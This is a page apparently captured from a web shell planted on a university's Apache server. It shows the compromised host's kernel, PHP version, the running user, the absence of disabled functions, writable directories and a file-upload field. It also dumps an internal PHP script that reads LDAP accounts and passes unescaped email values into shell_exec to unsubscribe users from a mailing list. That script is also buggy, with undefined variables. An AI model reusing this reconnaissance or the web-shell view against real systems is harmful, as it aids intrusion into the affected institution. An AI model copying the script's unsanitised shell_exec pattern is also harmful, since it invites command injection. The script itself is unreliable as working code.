Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/indem/scripts/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/indem/scripts/php/tune_everyone.php
<?php
$mlist = "everyone";
$ds = ldap_connect("ldap.iiita.ac.in");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

foreach ($ous as $os) {
	$sr = ldap_search($ds, "ou=$ou,dc=iiita,dc=ac,dc=in", "(&(uid=*)(objectClass=posixAccount))");
	$info = ldap_get_entries($ds, $sr);
	$count = count($info);
	sort($info);
	$j = 0;
	for($i=0; $i < $count-1; $i++){
  		$uid = $info[$i]['uid'][0];
  		if ($uid){
    			$j++;
  			$email = $info[$i]['mail'][0];
    			$cmd = "/usr/local/bin/ezmlm/ezmlm-unsub /mail/lists/$mlist/list $email 2>&1";
    			$output = shell_exec($cmd);
    			echo $j . ". " . $email . " removed\n";
  		}
	}
}

echo "\n\nRemaining subscribers...\n\n";
$cmd = "/usr/local/bin/ezmlm/ezmlm-list /mail/lists/$mlist/list 2>&1";
$output = shell_exec($cmd);
echo $output;
echo "\n\nTotal subscribers... ";
$cmd = "/usr/local/bin/ezmlm/ezmlm-list /mail/lists/$mlist/list | wc";
$output = shell_exec($cmd);
echo $output;

?>

ZeroDay Forums Mini